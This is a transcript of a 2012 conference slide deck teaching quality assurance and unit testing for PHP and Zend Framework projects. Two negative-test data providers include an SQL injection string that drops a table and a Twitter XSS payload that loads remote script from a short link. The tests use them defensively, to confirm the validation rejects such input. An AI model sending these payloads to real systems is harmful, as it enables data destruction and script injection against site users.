Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Improving QA on PHP projects - ZendCon 2012

DragonBe
October 22, 2012

Improving QA on PHP projects - ZendCon 2012

Everyone talks about raising the bar on quality of code, but it's hard to implement when you have no clue where to start. This talk is geared toward all levels of developers, and will teach you how to improve by using the right tools effectively - a must-attend for any developer who wants to scale up their quality.

DragonBe

October 22, 2012
Tweet

More Decks by DragonBe

Other Decks in Technology

Transcript

  1. Quality Assurance
    for PHP projects
    ZendCon 2012, Santa Clara CA

    View full-size slide

  2. Michelangelo van Dam

    View full-size slide

  3. Schedule Workshop
    Introduction to Quality Assurance
    Revision control
    Documenting
    Testing
    Measuring
    Automating
    Team works!

    View full-size slide

  4. #zendcon12 #wsqa

    View full-size slide

  5. Introduction to QA

    View full-size slide

  6. Why QA
    Safeguarding code

    View full-size slide

  7. Detect bugs early

    View full-size slide

  8. Observe behavior

    View full-size slide

  9. Prevent accidents from happening

    View full-size slide

  10. Tracking progress

    View full-size slide

  11. Why invest in QA?

    View full-size slide

  12. Keeps your code in shape

    View full-size slide

  13. Measures speed and performance

    View full-size slide

  14. Boosts team spirit

    View full-size slide

  15. Reports continuously

    View full-size slide

  16. Delivers ready to deploy packages

    View full-size slide

  17. Quality Assurance Tools

    View full-size slide

  18. Revision Control

    View full-size slide

  19. SCM Tools
    • Subversion
    • Git
    • Mercurial
    • Bazaar
    • Source Vault

    View full-size slide

  20. Advantages of SCM
    • team development possible
    • tracking multi-versions of source code
    • moving back and forth in history
    • tagging of milestones
    • backup of source code
    • accessible from
    - command line
    - native apps
    - IDE’s
    - analytical tools
    TIP:  hooks  for  tools

    View full-size slide

  21. Syntax Checking

    View full-size slide

  22. php  -­‐l  (lint)
    h4p://www.php.net/manual/en/features.commandline.op>ons.php

    View full-size slide

  23. PHP Lint
    • checks the syntax of code
    • build in PHP core
    • is used per file
    - pre-commit hook for version control system
    - batch processing of files
    • can provide reports
    - but if something fails -> the build fails
    TIP:  pre-­‐commit  hook

    View full-size slide

  24. Syntax
    php -lf /path/to/filename.php

    View full-size slide

  25. PHP  Lint  on  Command  Line

    View full-size slide

  26. SVN Pre commit hook
    #!/bin/sh
    #
    # Pre-commit hook to validate syntax of incoming PHP files, if no failures it
    # accepts the commit, otherwise it fails and blocks the commit
    REPOS="$1"
    TXN="$2"
    # modify these system executables to match your system
    PHP=/usr/bin/php
    AWK=/usr/bin/awk
    GREP=/bin/grep
    SVNLOOK=/usr/bin/svnlook
    # PHP Syntax checking with PHP Lint
    # originally from Joe Stump at Digg
    # https://gist.github.com/53225
    #
    for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'`
    do
    if [ ${i##*.} == php ]; then
    CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i`
    RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE`
    if [ $RETURN = 'FALSE' ]; then
    echo $CHECK 1>&2;
    exit 1
    fi
    fi
    done

    View full-size slide

  27. SVN  pre-­‐commit  hook

    View full-size slide

  28. Why documenting?
    • new members in the team
    • working with remote workers
    • analyzing improvements
    • think before doing
    • used by IDE’s and editors for code hinting ;-)

    View full-size slide

  29. PHPDoc2
    phpDocumentor + DocBlox
    March 16, 2012

    View full-size slide

  30. Phpdoc2  class  details

    View full-size slide

  31. Based  on  docblocks  in  code

    View full-size slide

  32. And  the  output

    View full-size slide

  33. Phpdoc2  class  rela>on  chart

    View full-size slide

  34. Phpdoc2  on  your  project

    View full-size slide

  35. developer testing 201:
    when to mock and when to integrate

    View full-size slide

  36. Any reasons not to test?

    View full-size slide

  37. Most common excuses
    • no time
    • not within budget
    • development team does not know how
    • tests are provided after delivery
    • …

    View full-size slide

  38. Maintainability
    • during development
    - test will fail indicating bugs
    • after sales support
    - testing if an issue is genuine
    - fixing issues won’t break code base
    ‣ if they do, you need to fix it!
    • long term projects
    - refactoring made easy

    View full-size slide

  39. Remember
    “Once a test is made, it will always be tested!”

    View full-size slide

  40. Confidence
    • for the developer
    - code works
    • for the manager
    - project succeeds
    • for sales / general management / share holders
    - making profit
    • for the customer
    - paying for what they want

    View full-size slide

  41. Unit testing ZF apps

    View full-size slide

  42. Setting things up

    View full-size slide

  43. phpunit.xml


    ./



    ../application/
    ../library/Mylib/

    ../application/




    View full-size slide

  44. TestHelper.php
    // set our app paths and environments
    define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
    define('APPLICATION_PATH', BASE_PATH . '/application');
    define('TEST_PATH', BASE_PATH . '/tests');
    define('APPLICATION_ENV', 'testing');
    // Include path
    set_include_path(
    . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path()
    );
    // Set the default timezone !!!
    date_default_timezone_set('Europe/Brussels');
    // We wanna catch all errors en strict warnings
    error_reporting(E_ALL|E_STRICT);
    require_once 'Zend/Application.php';
    $application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
    );
    $application->bootstrap();

    View full-size slide

  45. Zend_Tool since 1.11.4
    • provides
    • phpunit.xml
    • bootstrap.php
    • IndexControllerTest.php
    Ralph Schindler

    View full-size slide

  46. Let’s get started…

    View full-size slide

  47. Testing Zend_Form

    View full-size slide

  48. CommentForm
    Name:
    E-mail Address:
    Website:
    Comment:
    Post

    View full-size slide

  49. Start with the test
    class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
    {
    protected $_form;
    protected function setUp()
    {
    $this->_form = new Application_Form_CommentForm();
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_form = null;
    }
    }

    View full-size slide

  50. The good stuff
    public function goodData()
    {
    return array (
    array ('John Doe', '[email protected]',
    'http://example.com', 'test comment'),
    array ("Matthew Weier O'Phinney", '[email protected]',
    'http://weierophinney.net', 'Doing an MWOP-Test'),
    array ('D. Keith Casey, Jr.', '[email protected]',
    'http://caseysoftware.com', 'Doing a monkey dance'),
    );
    }
    /**
    * @dataProvider goodData
    */
    public function testFormAcceptsValidData($name, $email, $web, $comment)
    {
    $data = array (
    'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
    );
    $this->assertTrue($this->_form->isValid($data));
    }

    View full-size slide

  51. Protection!
    Protection

    View full-size slide

  52. Little Bobby Tables
    http://xkcd.com/327/

    View full-size slide

  53. Twitter Hack
    http://xkcd.com/327/
    http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html

    View full-size slide

  54. The bad stuff
    public function badData()
    {
    return array (
    array ('','','',''),
    array ("Robert'; DROP TABLES comments; --", '',
    'http://xkcd.com/327/','Little Bobby Tables'),
    array (str_repeat('x', 100000), '', '', ''),
    array ('John Doe', '[email protected]',
    "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=
    \"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/",
    'exploit twitter 9/21/2010'),
    );
    }
    /**
    * @dataProvider badData
    */
    public function testFormRejectsBadData($name, $email, $web, $comment)
    {
    $data = array (
    'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
    );
    $this->assertFalse($this->_form->isValid($data));
    }

    View full-size slide

  55. Create the form class
    class Application_Form_CommentForm extends Zend_Form
    {
    public function init()
    {
    /* Form Elements & Other Definitions Here ... */
    }
    }

    View full-size slide

  56. Let’s run the test

    View full-size slide

  57. Let’s put in our elements
    class Application_Form_CommentForm extends Zend_Form
    {
    public function init()
    {
    $this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true));
    $this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true));
    $this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false));
    $this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true));
    $this->addElement('submit', 'post', array (
    'Label' => 'Post', 'Ignore' => true));
    }
    }

    View full-size slide

  58. Less errors?

    View full-size slide

  59. Filter - Validate
    $this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
    new Zftest_Validate_Mwop(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
    new Zend_Validate_EmailAddress(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
    new Zend_Validate_Callback(array('Zend_Uri', 'check')),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
    ));
    $this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
    new Zftest_Validate_TextBox(),
    new Zend_Validate_StringLength(array ('max' => 5000))),
    ));

    View full-size slide

  60. Green, warm & fuzzy

    View full-size slide

  61. You’re a winner!
    ☑ quality code
    ☑ tested
    ☑ secure
    ☑ reusable

    View full-size slide

  62. Testing models

    View full-size slide

  63. Testing business logic
    • models contain logic
    - tied to your business
    - tied to your storage
    - tied to your resources
    • no “one size fits all” solution

    View full-size slide

  64. Type: data containers
    • contains structured data
    - populated through setters and getters
    • perform logic tied to it’s purpose
    - transforming data
    - filtering data
    - validating data
    • can convert into other data types
    - arrays
    - strings (JSON, serialized, xml, …)
    • are providers to other models

    View full-size slide

  65. Comment Class

    View full-size slide

  66. Writing model test
    class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
    {
    protected $_comment;
    protected function setUp()
    {
    $this->_comment = new Application_Model_Comment();
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_comment = null;
    }
    public function testModelIsEmptyAtConstruct()
    {
    $this->assertSame(0, $this->_comment->getId());
    $this->assertNull($this->_comment->getFullName());
    $this->assertNull($this->_comment->getEmailAddress());
    $this->assertNull($this->_comment->getWebsite());
    $this->assertNull($this->_comment->getComment());
    }
    }

    View full-size slide

  67. This test won’t run!

    View full-size slide

  68. Create a simple model
    class Application_Model_Comment
    {
    protected $_id = 0; protected $_fullName; protected $_emailAddress;
    protected $_website; protected $_comment;
    public function setId($id) { $this->_id = (int) $id; return $this; }
    public function getId() { return $this->_id; }
    public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
    public function getFullName() { return $this->_fullName; }
    public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
    public function getEmailAddress() { return $this->_emailAddress; }
    public function setWebsite($website) { $this->_website = (string) $website; return $this; }
    public function getWebsite() { return $this->_website; }
    public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
    public function getComment() { return $this->_comment; }
    public function populate($row) {
    if (is_array($row)) {
    $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
    }
    if (isset ($row->id)) $this->setId($row->id);
    if (isset ($row->fullName)) $this->setFullName($row->fullName);
    if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
    if (isset ($row->website)) $this->setWebsite($row->website);
    if (isset ($row->comment)) $this->setComment($row->comment);
    }
    public function toArray() {
    return array (
    'id' => $this->getId(),
    'fullName' => $this->getFullName(),
    'emailAddress' => $this->getEmailAddress(),
    'website' => $this->getWebsite(),
    'comment' => $this->getComment(),
    );
    }
    }

    View full-size slide

  69. We pass the test…

    View full-size slide

  70. Not all data from form!
    • model can be populated from
    - users through the form
    - data stored in the database
    - a webservice (hosted by us or others)
    • simply test it
    - by using same test scenario’s from our form

    View full-size slide

  71. The good stuff
    public function goodData()
    {
    return array (
    array ('John Doe', '[email protected]',
    'http://example.com', 'test comment'),
    array ("Matthew Weier O'Phinney", '[email protected]',
    'http://weierophinney.net', 'Doing an MWOP-Test'),
    array ('D. Keith Casey, Jr.', '[email protected]',
    'http://caseysoftware.com', 'Doing a monkey dance'),
    );
    }
    /**
    * @dataProvider goodData
    */
    public function testModelAcceptsValidData($name, $mail, $web, $comment)
    {
    $data = array (
    'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
    );
    try {
    $this->_comment->populate($data);
    } catch (Zend_Exception $e) {
    $this->fail('Unexpected exception should not be triggered');
    }
    $data['id'] = 0;
    $data['emailAddress'] = strtolower($data['emailAddress']);
    $data['website'] = strtolower($data['website']);
    $this->assertSame($this->_comment->toArray(), $data);
    }

    View full-size slide

  72. The bad stuff
    public function badData()
    {
    return array (
    array ('','','',''),
    array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
    Tables'),
    array (str_repeat('x', 1000), '', '', ''),
    array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;
    \"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter
    9/21/2010'),
    );
    }
    /**
    * @dataProvider badData
    */
    public function testModelRejectsBadData($name, $mail, $web, $comment)
    {
    $data = array (
    'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
    );
    try {
    $this->_comment->populate($data);
    } catch (Zend_Exception $e) {
    return;
    }
    $this->fail('Expected exception should be triggered');
    }

    View full-size slide

  73. Let’s run it

    View full-size slide

  74. Modify our model
    protected $_filters;
    protected $_validators;
    public function __construct($params = null)
    {
    $this->_filters = array (
    'id' => array ('Int'),
    'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
    'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'comment' => array ('StringTrim', 'StripTags'),
    );
    $this->_validators = array (
    'id' => array ('Int'),
    'fullName' => array (
    new Zftest_Validate_Mwop(),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'emailAddress' => array (
    'EmailAddress',
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'website' => array (
    new Zend_Validate_Callback(array('Zend_Uri', 'check')),
    new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
    ),
    'comment' => array (
    new Zftest_Validate_TextBox(),
    new Zend_Validate_StringLength(array ('max' => 5000)),
    ),
    );
    if (null !== $params) { $this->populate($params); }
    }

    View full-size slide

  75. Modify setters: Id & name
    public function setId($id)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('id' => $id));
    if (!$input->isValid('id')) {
    throw new Zend_Exception('Invalid ID provided');
    }
    $this->_id = (int) $input->id;
    return $this;
    }
    public function setFullName($fullName)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('fullName' => $fullName));
    if (!$input->isValid('fullName')) {
    throw new Zend_Exception('Invalid fullName provided');
    }
    $this->_fullName = (string) $input->fullName;
    return $this;
    }

    View full-size slide

  76. Email & website
    public function setEmailAddress($emailAddress)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('emailAddress' => $emailAddress));
    if (!$input->isValid('emailAddress')) {
    throw new Zend_Exception('Invalid emailAddress provided');
    }
    $this->_emailAddress = (string) $input->emailAddress;
    return $this;
    }
    public function setWebsite($website)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('website' => $website));
    if (!$input->isValid('website')) {
    throw new Zend_Exception('Invalid website provided');
    }
    $this->_website = (string) $input->website;
    return $this;
    }

    View full-size slide

  77. and comment
    public function setComment($comment)
    {
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('comment' => $comment));
    if (!$input->isValid('comment')) {
    throw new Zend_Exception('Invalid comment provided');
    }
    $this->_comment = (string) $input->comment;
    return $this;
    }

    View full-size slide

  78. Now we’re good!

    View full-size slide

  79. Testing Databases

    View full-size slide

  80. Integration Testing
    • database specific functionality
    - triggers
    - constraints
    - stored procedures
    - sharding/scalability
    • data input/output
    - correct encoding of data
    - transactions execution and rollback

    View full-size slide

  81. Points of concern
    • beware of automated data types
    - auto increment sequence ID’s
    - default values like CURRENT_TIMESTAMP
    • beware of time related issues
    - timestamp vs. datetime
    - UTC vs. local time

    View full-size slide

  82. The domain Model
    • Model object
    • Mapper object
    • Table gateway object
    Read more about it ‛

    View full-size slide

  83. Change our test class
    class Application_Model_CommentTest
    extends PHPUnit_Framework_TestCase
    becomes
    class Application_Model_CommentTest
    extends Zend_Test_PHPUnit_DatabaseTestCase

    View full-size slide

  84. Setting DB Testing up
    protected $_connectionMock;
    public function getConnection()
    {
    if (null === $this->_dbMock) {
    $this->bootstrap = new Zend_Application(
    APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
    $this->bootstrap->bootstrap('db');
    $db = $this->bootstrap->getBootstrap()->getResource('db');
    $this->_connectionMock = $this->createZendDbConnection(
    $db, 'zftest'
    );
    return $this->_connectionMock;
    }
    }
    public function getDataSet()
    {
    return $this->createFlatXmlDataSet(
    realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
    }

    View full-size slide

  85. initialDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View full-size slide

  86. Testing SELECT
    public function testDatabaseCanBeRead()
    {
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View full-size slide

  87. selectDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View full-size slide

  88. Testing UPDATE
    public function testDatabaseCanBeUpdated()
    {
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment);
    $comment->setComment('I like you picking up the challenge!');
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View full-size slide

  89. updateDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I like you picking up the challenge!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View full-size slide

  90. Testing DELETE
    public function testDatabaseCanDeleteAComment()
    {
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment)
    ->delete($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View full-size slide

  91. deleteDataSet.xml


    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>

    View full-size slide

  92. Testing INSERT
    public function testDatabaseCanAddAComment()
    {
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
    ->setEmailAddress('[email protected]')
    ->setWebsite('http://www.dragonbe.com')
    ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
    }

    View full-size slide

  93. insertDataSet.xml


    id="1"
    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    id="2"
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    id="3"
    fullName="Michelangelo van Dam"
    emailAddress="[email protected]"
    website="http://www.dragonbe.com"
    comment="Unit Testing, It is so addictive!!!"/>

    View full-size slide

  94. What went wrong here?

    View full-size slide

  95. AUTO_INCREMENT

    View full-size slide

  96. Testing INSERT w/ filter
    public function testDatabaseCanAddAComment()
    {
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
    ->setEmailAddress('[email protected]')
    ->setWebsite('http://www.dragonbe.com')
    ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
    $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
    $ds, array ('comment' => array ('id')));
    $expected = $this->createFlatXMLDataSet(
    APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $filteredDs);
    }

    View full-size slide

  97. insertDataSet.xml


    fullName="B.A. Baracus"
    emailAddress="[email protected]"
    website="http://www.a-team.com"
    comment="I pitty the fool that doesn't test!"/>
    fullName="Martin Fowler"
    emailAddress="[email protected]"
    website="http://martinfowler.com/"
    comment="Models are not right or wrong; they are more or less useful."/>
    fullName="Michelangelo van Dam"
    emailAddress="[email protected]"
    website="http://www.dragonbe.com"
    comment="Unit Testing, It is so addictive!!!"/>

    View full-size slide

  98. Testing web services

    View full-size slide

  99. Web services remarks
    • you need to comply with an API
    - that will be your reference
    • you cannot always make a test-call
    - paid services per call
    - test environment is “offline”
    - network related issues

    View full-size slide

  100. Example: joind.in

    View full-size slide

  101. http://joind.in/api

    View full-size slide

  102. JoindinTest
    class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
    {
    protected $_joindin;
    protected $_settings;
    protected function setUp()
    {
    $this->_joindin = new Zftest_Service_Joindin();
    $settings = simplexml_load_file(realpath(
    APPLICATION_PATH . '/../tests/_files/settings.xml'));
    $this->_settings = $settings->joindin;
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_joindin = null;
    }
    }

    View full-size slide

  103. JoindinTest
    public function testJoindinCanGetUserDetails()
    {
    $expected = 'DragonBe
    username>Michelangelo van Dam19
    ID>1303248639';
    $this->_joindin->setUsername($this->_settings->username)
    ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
    public function testJoindinCanCheckStatus()
    {
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $expected = '' . $date->format('r') .
    'testing unit test';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }

    View full-size slide

  104. Testing the service

    View full-size slide

  105. Euh… what?
    1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
    Failed asserting that two strings are equal.
    --- Expected
    +++ Actual
    @@ @@
    19
    - 1303248639
    + 1303250271


    I recently logged in ✔

    View full-size slide

  106. And this?
    2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
    Failed asserting that two strings are equal.
    --- Expected
    +++ Actual
    @@ @@


    - Tue, 19 Apr 2011 22:26:40 +0000
    + Tue, 19 Apr 2011 22:26:41 +0000
    testing unit test

    Latency of the network 1s !

    View full-size slide

  107. Solution… right here!

    View full-size slide

  108. Your expectations

    View full-size slide

  109. JoindinTest
    class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
    {
    protected $_joindin;
    protected $_settings;
    protected function setUp()
    {
    $this->_joindin = new Zftest_Service_Joindin();
    $client = new Zend_Http_Client();
    $client->setAdapter(new Zend_Http_Client_Adapter_Test());
    $this->_joindin->setClient($client);
    $settings = simplexml_load_file(realpath(
    APPLICATION_PATH . '/../tests/_files/settings.xml'));
    $this->_settings = $settings->joindin;
    parent::setUp();
    }
    protected function tearDown()
    {
    parent::tearDown();
    $this->_joindin = null;
    }
    }

    View full-size slide

  110. JoindinUserMockTest
    public function testJoindinCanGetUserDetails()
    {
    $response = <<HTTP/1.1 200 OK
    Content-type: text/xml



    DragonBe
    Michelangelo van Dam
    19
    1303248639


    EOS;
    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
    $expected = 'DragonBe
    username>Michelangelo van Dam191303248639
    last_login>';
    $this->_joindin->setUsername($this->_settings->username)
    ->setPassword($this->_settings->password);
    $actual = $this->_joindin->user()->getDetail();
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }

    View full-size slide

  111. JoindinStatusMockTest
    public function testJoindinCanCheckStatus()
    {
    $date = new DateTime();
    $date->setTimezone(new DateTimeZone('UTC'));
    $response = <<HTTP/1.1 200 OK
    Content-type: text/xml


    {$date->format('r')}
    testing unit test

    EOS;
    $client = $this->_joindin->getClient()
    ->getAdapter()->setResponse($response);
    $expected = '' . $date->format('r') .
    'testing unit test';
    $actual = $this->_joindin->site()->getStatus('testing unit test');
    $this->assertXmlStringEqualsXmlString($expected, $actual);
    }

    View full-size slide

  112. Good implementation?

    View full-size slide

  113. Controller Testing

    View full-size slide

  114. Our form flow

    View full-size slide

  115. Setting up ControllerTest
    class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
    {
    public function setUp()
    {
    $this->bootstrap = new Zend_Application(
    APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
    parent::setUp();
    }
    }

    View full-size slide

  116. Testing if form is on page
    public function testIndexAction()
    {
    $params = array(
    'action' => 'index',
    'controller' => 'index',
    'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertQueryContentContains(
    'h1#pageTitle', 'Please leave a comment');
    $this->assertQueryCount('form#commentForm', 1);
    }

    View full-size slide

  117. Test processing
    public function testProcessAction()
    {
    $testData = array (
    'name' => 'testUser',
    'mail' => '[email protected]',
    'web' => 'http://www.example.com',
    'comment' => 'This is a test comment',
    );
    $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->request->setMethod('post');
    $this->request->setPost($testData);
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertResponseCode(302);
    $this->assertRedirectTo('/index/success');
    $this->resetRequest();
    $this->resetResponse();
    $this->dispatch('/index/success');
    $this->assertQueryContentContains('span#fullName', $testData['name']);
    }

    View full-size slide

  118. REMARK
    • data providers can be used
    - to test valid data
    - to test invalid data
    • but we know it’s taken care of our model
    - just checking for error messages in form

    View full-size slide

  119. Test if we hit home
    public function testSuccessAction()
    {
    $params = array(
    'action' => 'success',
    'controller' => 'index',
    'module' => 'default'
    );
    $url = $this->url($this->urlizeOptions($params));
    $this->dispatch($url);
    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);
    $this->assertRedirectTo('/');
    }

    View full-size slide

  120. Running the tests

    View full-size slide

  121. Testing it all

    View full-size slide

  122. Testing it all

    View full-size slide

  123. Our progress report

    View full-size slide

  124. • unit testing is simple
    • combine integration tests with unit tests
    • test what counts
    • mock out what’s remote

    View full-size slide

  125. Fork this code
    http://github.com/DragonBe/zftest

    View full-size slide

  126. Code Analysis

    View full-size slide

  127. Questions
    • how stable is my code?
    • how flexible is my code?
    • how complex is my code?
    • how easy can I refactor my code?

    View full-size slide

  128. Answers
    • PHPDepend - Dependency calculations
    • PHPMD - Mess detections and code “smells”
    • PHPCPD - Copy/paste detection
    • PHPCS - PHP_CodeSniffer

    View full-size slide

  129. What?
    • generates metrics
    • measure health
    • identify parts to improve (refactor)

    View full-size slide

  130. pdepend pyramid

    View full-size slide

  131. • CYCLO: Cyclomatic Complexity
    • LOC: Lines of Code
    • NOM: Number of Methods
    • NOC: Number of Classes
    • NOP: Number of Packages
    • AHH: Average Hierarchy Height
    • ANDC: Average Number of Derived Classes
    • FANOUT: Number of Called Classes
    • CALLS: Number of Operation Calls

    View full-size slide

  132. Cyclomatic Complexity
    • metric calculation
    • execution paths
    • independent control structures
    - if, else, for, foreach, switch case, while, do, …
    • within a single method or function
    • more info
    - http://en.wikipedia.org/wiki/
    Cyclomatic_complexity

    View full-size slide

  133. Average Hierarchy Height
    The average of the maximum length from a root class
    to its deepest subclass

    View full-size slide

  134. pdepend pyramid
    Inheritance
    few classes derived from other classes
    lots of classes inherit from other classes

    View full-size slide

  135. pdepend pyramid
    Size and complexity

    View full-size slide

  136. pdepend pyramid
    Coupling

    View full-size slide

  137. pdepend pyramid
    High value

    View full-size slide

  138. pdepend-graph
    graph  about  stability:  a  mix  between  abstract  and  concrete  classes

    View full-size slide

  139. PHP  Depend

    View full-size slide

  140. PHP Mess Detection

    View full-size slide

  141. What?
    • detects code smells
    - possible bugs
    - sub-optimal code
